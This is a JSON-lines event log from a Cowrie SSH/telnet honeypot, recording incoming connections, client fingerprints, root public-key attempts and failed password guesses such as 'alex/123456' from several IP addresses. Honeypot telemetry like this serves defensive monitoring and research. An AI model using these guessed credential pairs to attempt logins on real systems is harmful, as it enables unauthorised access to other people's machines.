{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:46.967505Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.230539560317993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.208033Z","src_ip":"50.6.8.71","session":"aa2251030d00","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:35:c0:c0:43:3f:f0:f3:64:d3:e4:2d:cd:6b:f9:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWa15O8IsyymikUgGS9Nj48w8PRljGapWP+clzDNnLSgh840t/nXo55MgzLGlnZ6pRHbRj+vh3bMviIva+SHvgu03sd1UM3wljFUg8w57mLWEfRl56kyGhWkzoLWPh/CokDOSaBTi9aAzI4rlnBkSbBvbnTsCL3kwX8VXJ9GBNAhNyRgpv3PzKtJxmJLVzCtEG3yLbu0tqwPIi0yyPX7WKsKwPmzH9zdM2z0Iap5OHEj7rPi/NPXYJA2gIbt1pYZYCBPvp9iYd6URRYo4c8I330WutM0xv6Z2M+coHYp2d9WDfPj1YoKGa43d76KL6KMTd8Jhxl+CgDZQtnylnE/pL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:35:c0:c0:43:3f:f0:f3:64:d3:e4:2d:cd:6b:f9:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.512318Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:35:c0:c0:43:3f:f0:f3:64:d3:e4:2d:cd:6b:f9:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWa15O8IsyymikUgGS9Nj48w8PRljGapWP+clzDNnLSgh840t/nXo55MgzLGlnZ6pRHbRj+vh3bMviIva+SHvgu03sd1UM3wljFUg8w57mLWEfRl56kyGhWkzoLWPh/CokDOSaBTi9aAzI4rlnBkSbBvbnTsCL3kwX8VXJ9GBNAhNyRgpv3PzKtJxmJLVzCtEG3yLbu0tqwPIi0yyPX7WKsKwPmzH9zdM2z0Iap5OHEj7rPi/NPXYJA2gIbt1pYZYCBPvp9iYd6URRYo4c8I330WutM0xv6Z2M+coHYp2d9WDfPj1YoKGa43d76KL6KMTd8Jhxl+CgDZQtnylnE/pL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.516021Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:14:0a:76:1b:db:6e:34:5f:2c:f4:77:01:29:1e:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrqS8wmWzQDzTE0xF59y6xcCS7pYlhIsDjTiupB8gn76wNEnhjUPUWV5Na7nVF1UBbVeYUNCu0svee105Q1fGeFFp2zN8xh6ICi3LQZWtNMy1VNMdqpNXPFzsLVrpNgB+vpfkCIpz/f+VhSQD3PL65FFl9jwhQlBux8HVEiNvRM+k27/tY9p0w7lI9auJNfI2ZEpTe4b2ZtNPFhadLD4eM2VJqi2dtJWdXxgkCoFx8fal+qlz3bup3Ht1FPObBxfOJv1CiRsm7chrMpzILj1TJiwJOd/n5/Kywf2egKyaLC8XVmfWOqQxehmSw2XerAmv1tUm2qBwYB3m3yu81AD/4otnw1MokUEQ8lQxjKs2INsWWXnROWHcI+iAfWHNLqxVJ74rYus4PFewJim4Nz2a0YgY3ZPbiOwxQkIUDYYIZa/oquxefZdI9XYrNXeiyJ8D/iumZIy89asAS0TflMMYveyOeiSXp01JJBNefy+cvmimaDK+7TlmccY2U4vtwRc1LeO2PlSVpVMc1YUqryAcV3lKMhf5wz9NzWM87b/rU5QSzOufLQ2nSzvIrig0hmemcvrIk+UbizZZsLDcjoA3iEybhTpj61ggw/HjG6xbkCOwYH2OOEis+FxD3YAeNByqiwala6wmGQxDVb2RW2VoL7TF1fEDgNxqEr1PCiZ/18Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:14:0a:76:1b:db:6e:34:5f:2c:f4:77:01:29:1e:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.630464Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:14:0a:76:1b:db:6e:34:5f:2c:f4:77:01:29:1e:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrqS8wmWzQDzTE0xF59y6xcCS7pYlhIsDjTiupB8gn76wNEnhjUPUWV5Na7nVF1UBbVeYUNCu0svee105Q1fGeFFp2zN8xh6ICi3LQZWtNMy1VNMdqpNXPFzsLVrpNgB+vpfkCIpz/f+VhSQD3PL65FFl9jwhQlBux8HVEiNvRM+k27/tY9p0w7lI9auJNfI2ZEpTe4b2ZtNPFhadLD4eM2VJqi2dtJWdXxgkCoFx8fal+qlz3bup3Ht1FPObBxfOJv1CiRsm7chrMpzILj1TJiwJOd/n5/Kywf2egKyaLC8XVmfWOqQxehmSw2XerAmv1tUm2qBwYB3m3yu81AD/4otnw1MokUEQ8lQxjKs2INsWWXnROWHcI+iAfWHNLqxVJ74rYus4PFewJim4Nz2a0YgY3ZPbiOwxQkIUDYYIZa/oquxefZdI9XYrNXeiyJ8D/iumZIy89asAS0TflMMYveyOeiSXp01JJBNefy+cvmimaDK+7TlmccY2U4vtwRc1LeO2PlSVpVMc1YUqryAcV3lKMhf5wz9NzWM87b/rU5QSzOufLQ2nSzvIrig0hmemcvrIk+UbizZZsLDcjoA3iEybhTpj61ggw/HjG6xbkCOwYH2OOEis+FxD3YAeNByqiwala6wmGQxDVb2RW2VoL7TF1fEDgNxqEr1PCiZ/18Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.634426Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:42:87:a5:ed:6c:81:86:a2:ee:2b:b2:50:3d:56:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGCZikixn4i3oEMKe4xwzaRjpKtZR4B9M64ZFjkzlEhDupcFkiTlbs8ttCnOAMEAXZ8+saeO/MfUvTbc/e3XqwXxpkIwt6IspcNGA64n57nEu3WeZKcb1AegUwHxENQOiNIP3H7z+txioZ/dDEzaebQIWzY4LFaSVfAxFZta/J53txIJuHp2kyDaLU26TQEdn5OH9UHiEl9zD874xOEuSLIjJcp25hmmnKfImgvZM//EHmdmiVPVxiZ+78mdueUZhRoFJEYGWgtkQSiiyse+Y7uhgYD2ILKtMhofPfeaLk8qjpvZvutSVUj+d6Uqb1AMPB+ez1NkYRP+85zcJIh6EAdjkH2hTQv/mPtIQf73o7nkTj2p10br6GixCwWBbyGs12FmOkEY1JrclO/RVlWS1gOvQc5eQeEKeZIlhbi8/CHSjfhddOlkwv9aRd3XZq3V5Xeqcwg+6lhKOXS1JEWEAFr1l0i6OTATDK0P8wufbL/CE3/C7BsIuMZ3UZF9k3XDU2Vl4IQkZdNXKQvDV7uxZH4feiHyPrnZky1+VI7Pu4JaximXrB9na+RYGLmP3dP8JdJbOJO1VECT+AjvKYktnyU1Bof12bFQajG/e5+xhw+U1BOHYT6bBZ6RTQBrPFvZwoS+sc5HdJE9cLlvkYYQU/v9pKrHEhdNB/KQVOX1165w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:42:87:a5:ed:6c:81:86:a2:ee:2b:b2:50:3d:56:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.749497Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:42:87:a5:ed:6c:81:86:a2:ee:2b:b2:50:3d:56:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDGCZikixn4i3oEMKe4xwzaRjpKtZR4B9M64ZFjkzlEhDupcFkiTlbs8ttCnOAMEAXZ8+saeO/MfUvTbc/e3XqwXxpkIwt6IspcNGA64n57nEu3WeZKcb1AegUwHxENQOiNIP3H7z+txioZ/dDEzaebQIWzY4LFaSVfAxFZta/J53txIJuHp2kyDaLU26TQEdn5OH9UHiEl9zD874xOEuSLIjJcp25hmmnKfImgvZM//EHmdmiVPVxiZ+78mdueUZhRoFJEYGWgtkQSiiyse+Y7uhgYD2ILKtMhofPfeaLk8qjpvZvutSVUj+d6Uqb1AMPB+ez1NkYRP+85zcJIh6EAdjkH2hTQv/mPtIQf73o7nkTj2p10br6GixCwWBbyGs12FmOkEY1JrclO/RVlWS1gOvQc5eQeEKeZIlhbi8/CHSjfhddOlkwv9aRd3XZq3V5Xeqcwg+6lhKOXS1JEWEAFr1l0i6OTATDK0P8wufbL/CE3/C7BsIuMZ3UZF9k3XDU2Vl4IQkZdNXKQvDV7uxZH4feiHyPrnZky1+VI7Pu4JaximXrB9na+RYGLmP3dP8JdJbOJO1VECT+AjvKYktnyU1Bof12bFQajG/e5+xhw+U1BOHYT6bBZ6RTQBrPFvZwoS+sc5HdJE9cLlvkYYQU/v9pKrHEhdNB/KQVOX1165w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.753849Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:4a:c0:4f:57:8e:1f:99:d4:fe:2d:c0:83:1e:32:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSqFP3DsgAqy0fvHHFso256ZfqjWE383YaYYrs11ZM5T3ofxZBZ28rTMrkM7ZiJTpAUhDAd2ae6m+cooLtkCq1mDiFm6tNCS9v6nJ9F9g3oCeEAWfYpe8yNMakdr/L+RLJ7X6PO7W3ny7Nd2GMYPKh/UkeUf34Y9dwURscyRs426kmdHgphhyc41dQB0Hdqdu+t0Q0cesHoxHY0wDex1Th432kyipWXMEPAQQM8oSItQ025Rfo1le0MoOl2Y12Et22FDwVxB+USjqAdl+GE3mTJ2SDdyVvvyRM4UgeguX4qkkFir1JrD2rm2cKZSrgvoxBlR3ej8TyJX03+DV6GF9L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:4a:c0:4f:57:8e:1f:99:d4:fe:2d:c0:83:1e:32:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.869174Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:4a:c0:4f:57:8e:1f:99:d4:fe:2d:c0:83:1e:32:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSqFP3DsgAqy0fvHHFso256ZfqjWE383YaYYrs11ZM5T3ofxZBZ28rTMrkM7ZiJTpAUhDAd2ae6m+cooLtkCq1mDiFm6tNCS9v6nJ9F9g3oCeEAWfYpe8yNMakdr/L+RLJ7X6PO7W3ny7Nd2GMYPKh/UkeUf34Y9dwURscyRs426kmdHgphhyc41dQB0Hdqdu+t0Q0cesHoxHY0wDex1Th432kyipWXMEPAQQM8oSItQ025Rfo1le0MoOl2Y12Et22FDwVxB+USjqAdl+GE3mTJ2SDdyVvvyRM4UgeguX4qkkFir1JrD2rm2cKZSrgvoxBlR3ej8TyJX03+DV6GF9L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.873181Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:49:a7:92:55:8b:86:90:68:b2:e6:90:ae:d9:c3:e6","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOqV/V2gwuXEIryzJJqLQPnBWQqWaIKrMFl/X8g+046HYv47fLDMQEFD0t056lM0lv6DrKwM+XNlN8x129ixcdsdvDbSIVCSykOYGiALWJrG3S0dIya9N6owbaPIPk4MMls21iwZPC4WPF5ZbTkSwBMZ96uTcb74EgyyyeIhvQfbAAAAFQCkY69E87NPMJulhxlZ389IAKlacQAAAIASjYw60K3mQGCreDpEQFLkcDHCEfejmslSuprvfNRBGE15ZVqsfu6bx14C6EVSbRngUFSe3tauZ0IPQdBBKHmvVvqcz663wbJgNnzbi+YswltLoXsfUVbHgn+WRCSIKCxGOFOQzJgqOHqyuczQ+UpwexnqbUrClv88/XB7OUzDfQAAAIB/DG+IN/lp2te+OlBeuXvwf7MzOJ1trwLZ676SPwC7nZHV03V8BpsSQvt0wjQ4GYLzQFGfysVR4dX1Lad208YczWd7aw7/R63hn0cnSUXRoq7TCcCZ0u8X3sZyfSUkSQNYtGYoz10xjEezlT5xyGCAihUzOOQck78W5qmUDOywoQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 49:49:a7:92:55:8b:86:90:68:b2:e6:90:ae:d9:c3:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.989243Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:49:a7:92:55:8b:86:90:68:b2:e6:90:ae:d9:c3:e6","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOqV/V2gwuXEIryzJJqLQPnBWQqWaIKrMFl/X8g+046HYv47fLDMQEFD0t056lM0lv6DrKwM+XNlN8x129ixcdsdvDbSIVCSykOYGiALWJrG3S0dIya9N6owbaPIPk4MMls21iwZPC4WPF5ZbTkSwBMZ96uTcb74EgyyyeIhvQfbAAAAFQCkY69E87NPMJulhxlZ389IAKlacQAAAIASjYw60K3mQGCreDpEQFLkcDHCEfejmslSuprvfNRBGE15ZVqsfu6bx14C6EVSbRngUFSe3tauZ0IPQdBBKHmvVvqcz663wbJgNnzbi+YswltLoXsfUVbHgn+WRCSIKCxGOFOQzJgqOHqyuczQ+UpwexnqbUrClv88/XB7OUzDfQAAAIB/DG+IN/lp2te+OlBeuXvwf7MzOJ1trwLZ676SPwC7nZHV03V8BpsSQvt0wjQ4GYLzQFGfysVR4dX1Lad208YczWd7aw7/R63hn0cnSUXRoq7TCcCZ0u8X3sZyfSUkSQNYtGYoz10xjEezlT5xyGCAihUzOOQck78W5qmUDOywoQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:47.993448Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:48.108068Z","src_ip":"185.222.138.237","session":"07067a7ef08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19441556930542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:53.816645Z","src_ip":"50.6.8.71","session":"9b7752204d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62941,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3489237b500","protocol":"ssh","message":"New connection: 109.91.4.177:62941 (159.203.135.109:22) [session: b3489237b500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:56.552074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:56.557547Z","src_ip":"109.91.4.177","session":"b3489237b500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:56.669626Z","src_ip":"109.91.4.177","session":"b3489237b500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghostuser","password":"ghostuser","message":"login attempt [ghostuser/ghostuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:57.149650Z","src_ip":"109.91.4.177","session":"b3489237b500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":44639,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5c5c69711f","protocol":"ssh","message":"New connection: 201.77.124.248:44639 (159.203.135.109:22) [session: 0c5c5c69711f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:57.364685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:57.369658Z","src_ip":"201.77.124.248","session":"0c5c5c69711f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:57.502369Z","src_ip":"201.77.124.248","session":"0c5c5c69711f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemadminuser","password":"babaprowarnight","message":"login attempt [systemadminuser/babaprowarnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:58.060277Z","src_ip":"201.77.124.248","session":"0c5c5c69711f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:58.262011Z","src_ip":"109.91.4.177","session":"b3489237b500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:25:59.216693Z","src_ip":"201.77.124.248","session":"0c5c5c69711f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62755,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d9f709751d1","protocol":"ssh","message":"New connection: 109.91.4.177:62755 (159.203.135.109:22) [session: 9d9f709751d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:26:35.895730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:26:35.901048Z","src_ip":"109.91.4.177","session":"9d9f709751d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:26:36.013356Z","src_ip":"109.91.4.177","session":"9d9f709751d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:26:36.493451Z","src_ip":"109.91.4.177","session":"9d9f709751d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:26:37.614272Z","src_ip":"109.91.4.177","session":"9d9f709751d1","protocol":"ssh"}
